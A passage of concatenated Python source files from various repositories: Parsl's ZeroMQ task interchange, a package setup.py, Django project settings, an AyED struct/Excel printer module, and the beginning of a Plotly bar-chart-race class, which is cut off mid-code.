logger.info("Attempting connection to client at {} on ports: {},{},{}".format( client_address, client_ports[0], client_ports[1], client_ports[2])) self.context = zmq.Context() self.task_incoming = self.context.socket(zmq.DEALER) self.task_incoming.set_hwm(0) self.task_incoming.RCVTIMEO = 10 # in milliseconds self.task_incoming.connect("tcp://{}:{}".format(client_address, client_ports[0])) self.results_outgoing = self.context.socket(zmq.DEALER) self.results_outgoing.set_hwm(0) self.results_outgoing.connect("tcp://{}:{}".format(client_address, client_ports[1])) self.command_channel = self.context.socket(zmq.REP) self.command_channel.RCVTIMEO = 1000 # in milliseconds self.command_channel.connect("tcp://{}:{}".format(client_address, client_ports[2])) logger.info("Connected to client") self.hub_address = hub_address self.hub_port = hub_port self.pending_task_queue = queue.Queue(maxsize=10 ** 6) self.worker_ports = worker_ports self.worker_port_range = worker_port_range self.task_outgoing = self.context.socket(zmq.ROUTER) self.task_outgoing.set_hwm(0) self.results_incoming = self.context.socket(zmq.ROUTER) self.results_incoming.set_hwm(0) if self.worker_ports: self.worker_task_port = self.worker_ports[0] self.worker_result_port = self.worker_ports[1] self.task_outgoing.bind("tcp://*:{}".format(self.worker_task_port)) self.results_incoming.bind("tcp://*:{}".format(self.worker_result_port)) else: self.worker_task_port = self.task_outgoing.bind_to_random_port('tcp://*', min_port=worker_port_range[0], max_port=worker_port_range[1], max_tries=100) self.worker_result_port = self.results_incoming.bind_to_random_port('tcp://*', min_port=worker_port_range[0], max_port=worker_port_range[1], max_tries=100) logger.info("Bound to ports {},{} for incoming worker connections".format( self.worker_task_port, self.worker_result_port)) self._ready_manager_queue = {} self.heartbeat_threshold = heartbeat_threshold self.current_platform = {'parsl_v': PARSL_VERSION, 'python_v': "{}.{}.{}".format(sys.version_info.major, sys.version_info.minor, sys.version_info.micro), 'os': platform.system(), 'hostname': platform.node(), 'dir': os.getcwd()} logger.info("Platform info: {}".format(self.current_platform)) def get_tasks(self, count): """ Obtains a batch of tasks from the internal pending_task_queue Parameters ---------- count: int Count of tasks to get from the queue Returns ------- List of upto count tasks. May return fewer than count down to an empty list eg. [{'task_id':<x>, 'buffer':<buf>} ... ] """ tasks = [] for i in range(0, count): try: x = self.pending_task_queue.get(block=False) except queue.Empty: break else: tasks.append(x) return tasks @wrap_with_logs(target="interchange") def migrate_tasks_to_internal(self, kill_event): """Pull tasks from the incoming tasks 0mq pipe onto the internal pending task queue Parameters: ----------- kill_event : threading.Event Event to let the thread know when it is time to die. """ logger.info("[TASK_PULL_THREAD] Starting") task_counter = 0 poller = zmq.Poller() poller.register(self.task_incoming, zmq.POLLIN) while not kill_event.is_set(): try: msg = self.task_incoming.recv_pyobj() except zmq.Again: # We just timed out while attempting to receive logger.debug("[TASK_PULL_THREAD] {} tasks in internal queue".format(self.pending_task_queue.qsize())) continue if msg == 'STOP': kill_event.set() break else: self.pending_task_queue.put(msg) task_counter += 1 logger.debug("[TASK_PULL_THREAD] Fetched task:{}".format(task_counter)) def _create_monitoring_channel(self): if self.hub_address and self.hub_port: logger.info("Connecting to monitoring") hub_channel = self.context.socket(zmq.DEALER) hub_channel.set_hwm(0) hub_channel.connect("tcp://{}:{}".format(self.hub_address, self.hub_port)) logger.info("Monitoring enabled and connected to hub") return hub_channel else: return None def _send_monitoring_info(self, hub_channel, manager): if hub_channel: logger.info("Sending message {} to hub".format(self._ready_manager_queue[manager])) hub_channel.send_pyobj((MessageType.NODE_INFO, datetime.datetime.now(), self._ready_manager_queue[manager])) @wrap_with_logs(target="interchange") def _command_server(self, kill_event): """ Command server to run async command to the interchange """ logger.debug("[COMMAND] Command Server Starting") # Need to create a new ZMQ socket for command server thread hub_channel = self._create_monitoring_channel() while not kill_event.is_set(): try: command_req = self.command_channel.recv_pyobj() logger.debug("[COMMAND] Received command request: {}".format(command_req)) if command_req == "OUTSTANDING_C": outstanding = self.pending_task_queue.qsize() for manager in self._ready_manager_queue: outstanding += len(self._ready_manager_queue[manager]['tasks']) reply = outstanding elif command_req == "WORKERS": num_workers = 0 for manager in self._ready_manager_queue: num_workers += self._ready_manager_queue[manager]['worker_count'] reply = num_workers elif command_req == "MANAGERS": reply = [] for manager in self._ready_manager_queue: idle_duration = 0 if self._ready_manager_queue[manager]['idle_since'] is not None: idle_duration = time.time() - self._ready_manager_queue[manager]['idle_since'] resp = {'manager': manager.decode('utf-8'), 'block_id': self._ready_manager_queue[manager]['block_id'], 'worker_count': self._ready_manager_queue[manager]['worker_count'], 'tasks': len(self._ready_manager_queue[manager]['tasks']), 'idle_duration': idle_duration, 'active': self._ready_manager_queue[manager]['active']} reply.append(resp) elif command_req.startswith("HOLD_WORKER"): cmd, s_manager = command_req.split(';') manager = s_manager.encode('utf-8') logger.info("[CMD] Received HOLD_WORKER for {}".format(manager)) if manager in self._ready_manager_queue: self._ready_manager_queue[manager]['active'] = False reply = True self._send_monitoring_info(hub_channel, manager) else: reply = False elif command_req == "SHUTDOWN": logger.info("[CMD] Received SHUTDOWN command") kill_event.set() reply = True else: reply = None logger.debug("[COMMAND] Reply: {}".format(reply)) self.command_channel.send_pyobj(reply) except zmq.Again: logger.debug("[COMMAND] is alive") continue def start(self, poll_period=None): """ Start the interchange Parameters: ---------- TODO: Move task receiving to a thread """ logger.info("Incoming ports bound") hub_channel = self._create_monitoring_channel() if poll_period is None: poll_period = self.poll_period start = time.time() count = 0 self._kill_event = threading.Event() self._task_puller_thread = threading.Thread(target=self.migrate_tasks_to_internal, args=(self._kill_event,), name="Interchange-Task-Puller") self._task_puller_thread.start() self._command_thread = threading.Thread(target=self._command_server, args=(self._kill_event,), name="Interchange-Command") self._command_thread.start() poller = zmq.Poller() # poller.register(self.task_incoming, zmq.POLLIN) poller.register(self.task_outgoing, zmq.POLLIN) poller.register(self.results_incoming, zmq.POLLIN) # These are managers which we should examine in an iteration # for scheduling a job (or maybe any other attention?). # Anything altering the state of the manager should add it # onto this list. interesting_managers = set() while not self._kill_event.is_set(): self.socks = dict(poller.poll(timeout=poll_period)) # Listen for requests for work if self.task_outgoing in self.socks and self.socks[self.task_outgoing] == zmq.POLLIN: logger.debug("[MAIN] starting task_outgoing section") message = self.task_outgoing.recv_multipart() manager = message[0] if manager not in self._ready_manager_queue: reg_flag = False try: msg = json.loads(message[1].decode('utf-8')) msg['reg_time'] = datetime.datetime.strptime(msg['reg_time'], "%Y-%m-%d %H:%M:%S") reg_flag = True except Exception: logger.warning("[MAIN] Got Exception reading registration message from manager: {}".format( manager), exc_info=True) logger.debug("[MAIN] Message :\n{}\n".format(message[0])) else: # We set up an entry only if registration works correctly self._ready_manager_queue[manager] = {'last_heartbeat': time.time(), 'idle_since': time.time(), 'free_capacity': 0, 'block_id': None, 'max_capacity': 0, 'worker_count': 0, 'active': True, 'tasks': []} if reg_flag is True: interesting_managers.add(manager) logger.info("[MAIN] Adding manager: {} to ready queue".format(manager)) self._ready_manager_queue[manager].update(msg) logger.info("[MAIN] Registration info for manager {}: {}".format(manager, msg)) self._send_monitoring_info(hub_channel, manager) if (msg['python_v'].rsplit(".", 1)[0] != self.current_platform['python_v'].rsplit(".", 1)[0] or msg['parsl_v'] != self.current_platform['parsl_v']): logger.warning("[MAIN] Manager {} has incompatible version info with the interchange".format(manager)) logger.debug("Setting kill event") self._kill_event.set() e = VersionMismatch("py.v={} parsl.v={}".format(self.current_platform['python_v'].rsplit(".", 1)[0], self.current_platform['parsl_v']), "py.v={} parsl.v={}".format(msg['python_v'].rsplit(".", 1)[0], msg['parsl_v']) ) result_package = {'task_id': -1, 'exception': serialize_object(e)} pkl_package = pickle.dumps(result_package) self.results_outgoing.send(pkl_package) logger.warning("[MAIN] Sent failure reports, unregistering manager") else: logger.info("[MAIN] Manager {} has compatible Parsl version {}".format(manager, msg['parsl_v'])) logger.info("[MAIN] Manager {} has compatible Python version {}".format(manager, msg['python_v'].rsplit(".", 1)[0])) else: # Registration has failed. logger.debug("[MAIN] Suppressing bad registration from manager:{}".format( manager)) else: tasks_requested = int.from_bytes(message[1], "little") self._ready_manager_queue[manager]['last_heartbeat'] = time.time() if tasks_requested == HEARTBEAT_CODE: logger.debug("[MAIN] Manager {} sent heartbeat".format(manager)) self.task_outgoing.send_multipart([manager, b'', PKL_HEARTBEAT_CODE]) else: logger.debug("[MAIN] Manager {} requested {} tasks".format(manager, tasks_requested)) self._ready_manager_queue[manager]['free_capacity'] = tasks_requested interesting_managers.add(manager) logger.debug("[MAIN] leaving task_outgoing section") # If we had received any requests, check if there are tasks that could be passed logger.debug("Managers count (interesting/total): {interesting}/{total}".format( total=len(self._ready_manager_queue), interesting=len(interesting_managers))) if interesting_managers and not self.pending_task_queue.empty(): shuffled_managers = list(interesting_managers) random.shuffle(shuffled_managers) while shuffled_managers and not self.pending_task_queue.empty(): # cf. the if statement above... manager = shuffled_managers.pop() tasks_inflight = len(self._ready_manager_queue[manager]['tasks']) real_capacity = min(self._ready_manager_queue[manager]['free_capacity'], self._ready_manager_queue[manager]['max_capacity'] - tasks_inflight) if (real_capacity and self._ready_manager_queue[manager]['active']): tasks = self.get_tasks(real_capacity) if tasks: self.task_outgoing.send_multipart([manager, b'', pickle.dumps(tasks)]) task_count = len(tasks) count += task_count tids = [t['task_id'] for t in tasks] self._ready_manager_queue[manager]['free_capacity'] -= task_count self._ready_manager_queue[manager]['tasks'].extend(tids) self._ready_manager_queue[manager]['idle_since'] = None logger.debug("[MAIN] Sent tasks: {} to manager {}".format(tids, manager)) if self._ready_manager_queue[manager]['free_capacity'] > 0: logger.debug("[MAIN] Manager {} has free_capacity {}".format(manager, self._ready_manager_queue[manager]['free_capacity'])) # ... so keep it in the interesting_managers list else: logger.debug("[MAIN] Manager {} is now saturated".format(manager)) interesting_managers.remove(manager) else: interesting_managers.remove(manager) # logger.debug("Nothing to send to manager {}".format(manager)) logger.debug("[MAIN] leaving _ready_manager_queue section, with {} managers still interesting".format(len(interesting_managers))) else: logger.debug("[MAIN] either no interesting managers or no tasks, so skipping manager pass") # Receive any results and forward to client if self.results_incoming in self.socks and self.socks[self.results_incoming] == zmq.POLLIN: logger.debug("[MAIN] entering results_incoming section") manager, *b_messages = self.results_incoming.recv_multipart() if manager not in self._ready_manager_queue: logger.warning("[MAIN] Received a result from a un-registered manager: {}".format(manager)) else: logger.debug("[MAIN] Got {} result items in batch".format(len(b_messages))) for b_message in b_messages: r = pickle.loads(b_message) try: self._ready_manager_queue[manager]['tasks'].remove(r['task_id']) except Exception: # If we reach here, there's something very wrong. logger.exception("Ignoring exception removing task_id {} for manager {} with task list {}".format( r['task_id'], manager, self._ready_manager_queue[manager]['tasks'])) self.results_outgoing.send_multipart(b_messages) logger.debug("[MAIN] Current tasks: {}".format(self._ready_manager_queue[manager]['tasks'])) if len(self._ready_manager_queue[manager]['tasks']) == 0: self._ready_manager_queue[manager]['idle_since'] = time.time() logger.debug("[MAIN] leaving results_incoming section") bad_managers = [manager for manager in self._ready_manager_queue if time.time() - self._ready_manager_queue[manager]['last_heartbeat'] > self.heartbeat_threshold] for manager in bad_managers: logger.debug("[MAIN] Last: {} Current: {}".format(self._ready_manager_queue[manager]['last_heartbeat'], time.time())) logger.warning("[MAIN] Too many heartbeats missed for manager {}".format(manager)) if self._ready_manager_queue[manager]['active']: self._ready_manager_queue[manager]['active'] = False self._send_monitoring_info(hub_channel, manager) for tid in self._ready_manager_queue[manager]['tasks']: try: raise ManagerLost(manager, self._ready_manager_queue[manager]['hostname']) except Exception: result_package = {'task_id': tid, 'exception': serialize_object(RemoteExceptionWrapper(*sys.exc_info()))} pkl_package = pickle.dumps(result_package) self.results_outgoing.send(pkl_package) logger.warning("[MAIN] Sent failure reports, unregistering manager") self._ready_manager_queue.pop(manager, 'None') if manager in interesting_managers: interesting_managers.remove(manager) delta = time.time() - start logger.info("Processed {} tasks in {} seconds".format(count, delta)) logger.warning("Exiting") def start_file_logger(filename, name='interchange', level=logging.DEBUG, format_string=None): """Add a stream log handler. Parameters --------- filename: string Name of the file to write logs to. Required. name: string Logger name. Default="parsl.executors.interchange" level: logging.LEVEL Set the logging level. Default=logging.DEBUG - format_string (string): Set the format string format_string: string Format string to use. Returns ------- None. """ if format_string is None: format_string = "%(asctime)s.%(msecs)03d %(name)s:%(lineno)d [%(levelname)s] %(message)s" global logger logger = logging.getLogger(name) logger.setLevel(level) handler = logging.FileHandler(filename) handler.setLevel(level) formatter = logging.Formatter(format_string, datefmt='%Y-%m-%d %H:%M:%S') handler.setFormatter(formatter) logger.addHandler(handler) @wrap_with_logs(target="interchange") def starter(comm_q, *args, **kwargs): """Start the interchange process The executor is expected to call this function. The args, kwargs match that of the Interchange.__init__ """ # logger = multiprocessing.get_logger() ic = Interchange(*args, **kwargs) comm_q.put((ic.worker_task_port, ic.worker_result_port)) ic.start() if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("-c", "--client_address", help="Client address") parser.add_argument("-l", "--logdir", default="parsl_worker_logs", help="Parsl worker log directory") parser.add_argument("-t", "--task_url", help="REQUIRED: ZMQ url for receiving tasks") parser.add_argument("-r", "--result_url", help="REQUIRED: ZMQ url for posting results") parser.add_argument("-p", "--poll_period", help="REQUIRED: poll period used for main thread") parser.add_argument("--worker_ports", default=None, help="OPTIONAL, pair of workers ports to listen on, eg --worker_ports=50001,50005") parser.add_argument("-d", "--debug", action='store_true', help="Count of apps to launch") args = parser.parse_args() # Setup logging global logger format_string = "%(asctime)s %(name)s:%(lineno)d [%(levelname)s] %(message)s" logger = logging.getLogger("interchange") logger.setLevel(logging.DEBUG) handler = logging.StreamHandler() handler.setLevel('DEBUG' if args.debug is True else 'INFO') formatter = logging.Formatter(format_string, datefmt='%Y-%m-%d %H:%M:%S') handler.setFormatter(formatter) logger.addHandler(handler) logger.debug("Starting Interchange") optionals = {} if args.worker_ports: optionals['worker_ports'] = [int(i) for i in args.worker_ports.split(',')] ic = Interchange(**optionals) ic.start()

5ea3437a2eb33d0a2e1796c20919e26b2a0222ca

py

Python

setup.py

AadamAbrahams/covid_traffic_controller_demonstrator

d782e5f8ba33259b06e24bfbc79c23a958065c0d

setup.py

AadamAbrahams/covid_traffic_controller_demonstrator

d782e5f8ba33259b06e24bfbc79c23a958065c0d

2020-10-30T12:25:58.000Z

2020-10-30T12:25:58.000Z

setup.py

AadamAbrahams/covid_traffic_controller_demonstrator

d782e5f8ba33259b06e24bfbc79c23a958065c0d

#!/usr/bin/env python """The setup script.""" from setuptools import setup, find_packages with open('README.rst') as readme_file: readme = readme_file.read() with open('HISTORY.rst') as history_file: history = history_file.read() requirements = ['Click>=7.0', ] setup_requirements = [ ] test_requirements = [ ] setup( author="Aadam Abrahams", author_email='[email protected]', python_requires='>=3.5', classifiers=[ 'Development Status :: 2 - Pre-Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Natural Language :: English', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', ], description="Python Boilerplate contains all the boilerplate you need to create a Python package.", entry_points={ 'console_scripts': [ 'covid_traffic_controller_demonstrator=covid_traffic_controller_demonstrator.cli:main', ], }, install_requires=requirements, license="MIT license", long_description=readme + '\n\n' + history, include_package_data=True, keywords='covid_traffic_controller_demonstrator', name='covid_traffic_controller_demonstrator', packages=find_packages(include=['covid_traffic_controller_demonstrator', 'covid_traffic_controller_demonstrator.*']), setup_requires=setup_requirements, test_suite='tests', tests_require=test_requirements, url='https://github.com/AadamAbrahams/covid_traffic_controller_demonstrator', version='0.1.0', zip_safe=False, )

5a4e556665f9fd12d67fff6f74fb86c6d27c68b8

py

Python

core/settings/base.py

BuildForSDG/asylum-be

e44031ca97964425bfa11a1d9071e7584685c327

core/settings/base.py

BuildForSDG/asylum-be

e44031ca97964425bfa11a1d9071e7584685c327

2020-05-07T07:57:44.000Z

2022-03-12T00:36:41.000Z

core/settings/base.py

BuildForSDG/asylum-be

e44031ca97964425bfa11a1d9071e7584685c327

2020-05-02T07:56:55.000Z

2020-05-19T14:42:54.000Z

"""Django project core settings. Generated by 'django-admin startproject' using Django 2.2.10.""" import os from decouple import config # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = config('SECRET_KEY') # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'django.contrib.sites', 'allauth', 'allauth.account', 'rest_framework', 'rest_framework.authtoken', 'rest_auth', 'rest_auth.registration', 'django_filters', 'rest_framework_swagger', 'accounts', 'api', 'disorders', 'notifications', 'ratings', ] MIDDLEWARE = [ 'corsheaders.middleware.CorsMiddleware', 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'core.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'core.wsgi.application' # Internationalization # https://docs.djangoproject.com/en/2.2/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Authentication settings # Custom user model and related all-auth settings AUTH_USER_MODEL = 'accounts.User' ACCOUNT_AUTHENTICATION_METHOD = 'email' ACCOUNT_EMAIL_REQUIRED = True ACCOUNT_USERNAME_REQUIRED = False ACCOUNT_SIGNUP_PASSWORD_ENTER_TWICE = False OLD_PASSWORD_FIELD_ENABLED = True AUTHENTICATION_BACKENDS = ( 'django.contrib.auth.backends.ModelBackend', 'allauth.account.auth_backends.AuthenticationBackend', ) REST_AUTH_SERIALIZERS = { 'USER_DETAILS_SERIALIZER': 'accounts.serializers.UserSerializer' } # Default DRF settings # https://www.django-rest-framework.org/api-guide/permissions/ REST_FRAMEWORK = { 'DEFAULT_AUTHENTICATION_CLASSES': [ 'rest_framework.authentication.TokenAuthentication', ], 'DEFAULT_PERMISSION_CLASSES': [ 'rest_framework.permissions.IsAuthenticated' ], 'DEFAULT_FILTER_BACKENDS': [ 'django_filters.rest_framework.DjangoFilterBackend', ], 'DEFAULT_SCHEMA_CLASS': 'rest_framework.schemas.coreapi.AutoSchema' } # Rest swagger settings for API docs # https://django-rest-swagger.readthedocs.io/en/latest/settings/ SWAGGER_SETTINGS = { 'SECURITY_DEFINITIONS': { 'api_key': { 'type': 'apiKey', 'description': 'Token authentication for Swagger UI Client', 'in': 'header', 'name': 'Authorization' } }, 'USE_SESSION_AUTH': False, } # Site admins and managers # https://docs.djangoproject.com/en/2.2/ref/settings/ ADMINS = ( ('Mohammed Mwijaa', '[email protected]'), ) MANAGERS = ( ('Mohammed Mwijaa', '[email protected]'), ) # Django sites settings # https://docs.djangoproject.com/en/2.2/ref/contrib/sites/ SITE_ID = 1 # Django CORS headers settings # https://github.com/adamchainz/django-cors-headers CORS_ORIGIN_ALLOW_ALL = True

3c787fc51233f70eb034eea4afa2e180748c9200

py

Python

ayed/printer.py

Bocanada/AyED-Tool

6bc359734fab3601dd668c361e67c4b14afcb2da

2021-08-01T16:40:11.000Z

2021-08-01T16:40:11.000Z

ayed/printer.py

Bocanada/AyED-Tool

6bc359734fab3601dd668c361e67c4b14afcb2da

2021-06-20T18:53:06.000Z

2021-06-26T23:44:05.000Z

ayed/printer.py

Bocanada/AyED-Tool

6bc359734fab3601dd668c361e67c4b14afcb2da

from __future__ import annotations from abc import ABC, abstractmethod from collections import defaultdict from pathlib import Path from typing import Iterable from attr import dataclass, field from ayed.classes import Struct from ayed.excel import Excel from ayed.types import File, Files, Structs from ayed.utils import add_includes, console, sanitize_name class Printer(ABC): @abstractmethod def to_str(self): return NotImplemented @abstractmethod def to_file(self): return NotImplemented @dataclass class StructPrinter(Printer): """Printer prints out an iterable of structs to either a str or a file.""" structs: Iterable[Struct] def to_str(self) -> str: """Writes all the structs and functions to a str and returns it""" s = add_includes( libs=[ "filesystem", "cstdio", "iostream", "cstring", "string", "biblioteca/funciones/tokens.hpp", ], ) fbody = [ f"{str(token)}{token.init()}{token.to_str()}{token.from_str()}{token.to_debug()}" for token in self.structs ] return s + "\n".join(fbody) def to_file(self, path: Path) -> None: """Writes all the structs and functions to output_files/path""" fns = self.to_str() out = Path("output_files") out.mkdir(exist_ok=True) path = out / path with path.open("w", encoding="utf-8") as fh: fh.write(fns) console.log( f"[b]Output file: [magenta]{path.absolute().as_uri()}[/magenta][/b]", justify="center", ) @classmethod def from_tokens(cls, tokens: Structs) -> "StructPrinter": return cls(iter(tokens)) @dataclass(slots=True) class ExcelPrinter(Printer): file: Excel output_folder: Path = Path("output_files") data: File | Files = field(init=False) def _write_one( self, *, file: File = None, sheet_name: str | None = None ) -> dict[str, list[list[bytes]]]: if not file: file = self.data # type: ignore sheet_name = sanitize_name(sheet_name or self.file.sheet) # type: ignore packed_structs = defaultdict(list) for fname, struct in file: packed = struct.pack() packed_structs[fname].append(packed) return packed_structs # packs the struct into output_files/fname def _write_many(self): if not isinstance(self.data, list): raise ValueError( f"Expected {list} of {dict} but got {type(self.file)}." " Try using struct_from_file instead." ) return [ [ self._write_one(file=fh, sheet_name=sheet_name) for (sheet_name, fh) in file.items() ] for file in self.data ] def _write(self, bytes: dict[str, list[list[bytes]]]): for fname, data in bytes.items(): with (self.output_folder / fname).open("wb") as fh: for raw_bytes in data[0]: fh.write(raw_bytes) def to_file(self): if not self.output_folder.exists(): self.output_folder.mkdir(exist_ok=True) if isinstance(self.data, File): to_write = self._write_one() self._write(to_write) return True to_write = self._write_many() for bytes_list in to_write: for packed_structs in bytes_list: self._write(packed_structs) return True def to_table(self): if isinstance(self.data, File): for fname, struct in self.data: struct.unpack(self.output_folder / fname) return for sheet in self.data: for _, file in sheet.items(): for fname, struct in file: struct.unpack(self.output_folder / fname) def to_str(self): if isinstance(self.data, File): to_write = self._write_one() return "".join(f"{fname} -->\n {data}" for fname, data in to_write.items()) raise NotImplementedError def __enter__(self) -> "ExcelPrinter": self.data = self.file.read() return self def __exit__(self, *args): del self.data return False if __name__ == "__main__": e = Excel("AlgoritmosFiles.xlsx") with ExcelPrinter(e) as p: p.to_file()

6e93388cd754866c8ce07ad0a60f42ed69f8a528

py

Python

bar_chart_race/_bar_chart_race_plotly.py

fakegit/bar_chart_race

0d2d038c4dac382419a36e33d54a7cc843a84724

bar_chart_race/_bar_chart_race_plotly.py

fakegit/bar_chart_race

0d2d038c4dac382419a36e33d54a7cc843a84724

bar_chart_race/_bar_chart_race_plotly.py

fakegit/bar_chart_race

0d2d038c4dac382419a36e33d54a7cc843a84724

import warnings import numpy as np import pandas as pd import plotly.graph_objects as go import plotly from ._utils import prepare_wide_data class _BarChartRace: def __init__(self, df, filename, orientation, sort, n_bars, fixed_order, fixed_max, steps_per_period, period_length, end_period_pause, interpolate_period, period_label, period_template, period_summary_func, perpendicular_bar_func, colors, title, bar_size, bar_textposition, bar_texttemplate, bar_label_font, tick_label_font, hovertemplate, slider, scale, bar_kwargs, layout_kwargs, write_html_kwargs, filter_column_colors): self.filename = filename self.extension = self.get_extension() self.orientation = orientation self.sort = sort self.n_bars = n_bars or df.shape[1] self.fixed_order = fixed_order self.fixed_max = fixed_max self.steps_per_period = steps_per_period self.period_length = period_length self.end_period_pause = end_period_pause self.interpolate_period = interpolate_period self.period_label = self.get_period_label(period_label) self.period_template = period_template self.period_summary_func = period_summary_func self.perpendicular_bar_func = perpendicular_bar_func self.title = self.get_title(title) self.bar_size = bar_size self.bar_textposition = bar_textposition self.bar_texttemplate = self.get_bar_texttemplate(bar_texttemplate) self.bar_label_font = self.get_font(bar_label_font) self.tick_label_font = self.get_font(tick_label_font) self.hovertemplate = self.get_hovertemplate(hovertemplate) self.slider = slider self.scale = scale self.duration = self.period_length / steps_per_period self.write_html_kwargs = write_html_kwargs or {} self.filter_column_colors = filter_column_colors self.validate_params() self.bar_kwargs = self.get_bar_kwargs(bar_kwargs) self.layout_kwargs = self.get_layout_kwargs(layout_kwargs) self.df_values, self.df_ranks = self.prepare_data(df) self.col_filt = self.get_col_filt() self.bar_colors = self.get_bar_colors(colors) self.set_fixed_max_limits() self.str_index = self.df_values.index.astype('str') def get_extension(self): if self.filename: return self.filename.split('.')[-1] def get_bar_texttemplate(self, bar_texttemplate): if bar_texttemplate is None: bar_texttemplate = '%{x:,.0f}' if self.orientation == 'h' else '%{y:,.0f}' return bar_texttemplate def validate_params(self): if isinstance(self.filename, str): if '.' not in self.filename: raise ValueError('`filename` must have an extension') elif self.filename is not None: raise TypeError('`filename` must be None or a string') if self.sort not in ('asc', 'desc'): raise ValueError('`sort` must be "asc" or "desc"') if self.orientation not in ('h', 'v'): raise ValueError('`orientation` must be "h" or "v"') def get_bar_kwargs(self, bar_kwargs): if bar_kwargs is None: return {'opacity': .8} elif isinstance(bar_kwargs, dict): if 'opacity' not in bar_kwargs: bar_kwargs['opacity'] = .8 return bar_kwargs raise TypeError('`bar_kwargs` must be None or a dictionary mapping `go.Bar` parameters ' 'to values.') def get_layout_kwargs(self, layout_kwargs): if layout_kwargs is None: return {'showlegend': False} elif isinstance(layout_kwargs, dict): if {'xaxis', 'yaxis', 'annotations'} & layout_kwargs.keys(): raise ValueError('`layout_kwargs` cannot contain "xaxis", "yaxis", or ' ' "annotations".') if 'showlegend' not in layout_kwargs: layout_kwargs['showlegend'] = False return layout_kwargs elif isinstance(layout_kwargs, plotly.graph_objs._layout.Layout): return self.get_layout_kwargs(layout_kwargs.to_plotly_json()) raise TypeError('`layout_kwargs` must be None, a dictionary mapping ' '`go.Layout` parameters to values or an instance of `go.Layout`.') def get_period_label(self, period_label): if period_label is False: return False default_period_label = {'xref': 'paper', 'yref': 'paper', 'font': {'size': 20}, 'xanchor': 'right', 'showarrow': False} if self.orientation == 'h': default_period_label['x'] = .95 default_period_label['y'] = .15 if self.sort == 'desc' else .85 else: default_period_label['x'] = .95 if self.sort == 'desc' else .05 default_period_label['y'] = .85 default_period_label['xanchor'] = 'left' if self.sort == 'asc' else 'right' if period_label is True: return default_period_label elif isinstance(period_label, dict): period_label = {**default_period_label, **period_label} else: raise TypeError('`period_label` must be a boolean or dictionary') return period_label def get_title(self, title): if title is None: return if isinstance(title, str): return {'text': title, 'y': 1, 'x': .5, 'xref': 'paper', 'yref': 'paper', 'pad': {'b': 10}, 'xanchor': 'center', 'yanchor': 'bottom'} elif isinstance(title, (dict, plotly.graph_objects.layout.Title)): return title raise TypeError('`title` must be a string, dictionary, or ' '`plotly.graph_objects.layout.Title` instance') def get_font(self, font): if font is None: font = {'size': 12} elif isinstance(font, (int, float)): font = {'size': font} elif not isinstance(font, dict): raise TypeError('`font` must be a number or dictionary of font properties') return font def get_hovertemplate(self, hovertemplate): if hovertemplate is None: if self.orientation == 'h': return '%{y} - %{x:,.0f}<extra></extra>' return '%{x} - %{y:,.0f}<extra></extra>' return hovertemplate def prepare_data(self, df): if self.fixed_order is True: last_values = df.iloc[-1].sort_values(ascending=False) cols = last_values.iloc[:self.n_bars].index df = df[cols] elif isinstance(self.fixed_order, list): cols = self.fixed_order df = df[cols] self.n_bars = min(len(cols), self.n_bars) compute_ranks = self.fixed_order is False dfs = prepare_wide_data(df, orientation=self.orientation, sort=self.sort, n_bars=self.n_bars, interpolate_period=self.interpolate_period, steps_per_period=self.steps_per_period, compute_ranks=compute_ranks) if isinstance(dfs, tuple): df_values, df_ranks = dfs else: df_values = dfs if self.fixed_order: n = df_values.shape[1] + 1 m = df_values.shape[0] rank_row = np.arange(1, n) if (self.sort == 'desc' and self.orientation == 'h') or \ (self.sort == 'asc' and self.orientation == 'v'): rank_row = rank_row[::-1] ranks_arr = np.repeat(rank_row.reshape(1, -1), m, axis=0) df_ranks = pd.DataFrame(data=ranks_arr, columns=cols) return df_values, df_ranks def get_col_filt(self): col_filt = pd.Series([True] * self.df_values.shape[1]) if self.n_bars < self.df_ranks.shape[1]: orient_sort = self.orientation, self.sort if orient_sort in [('h', 'asc'), ('v', 'desc')]: # 1 is high col_filt = (self.df_ranks < self.n_bars + .99).any() else: # 1 is low col_filt = (self.df_ranks > 0).any() if self.filter_column_colors and not col_filt.all(): self.df_values = self.df_values.loc[:, col_filt] self.df_ranks = self.df_ranks.loc[:, col_filt] return col_filt def get_bar_colors(self, colors): if colors is None: colors = 'dark12' if self.df_values.shape[1] > 10: colors = 'dark24' if isinstance(colors, str): from ._colormaps import colormaps try: bar_colors = colormaps[colors.lower()] except KeyError: raise KeyError(f'Colormap {colors} does not exist. Here are the ' f'possible colormaps: {colormaps.keys()}') elif isinstance(colors, list): bar_colors = colors elif isinstance(colors, tuple): bar_colors = list(colors) elif hasattr(colors, 'tolist'): bar_colors = colors.tolist() else: raise TypeError('`colors` must be a string name of a colormap or ' 'sequence of colors.') # bar_colors is now a list n = len(bar_colors) orig_bar_colors = bar_colors if self.df_values.shape[1] > n: bar_colors = bar_colors * (self.df_values.shape[1] // n + 1) bar_colors = np.array(bar_colors[:self.df_values.shape[1]]) # plotly uses 0, 255 rgb colors, matplotlib is 0 to 1 if bar_colors.dtype.kind == 'f' and 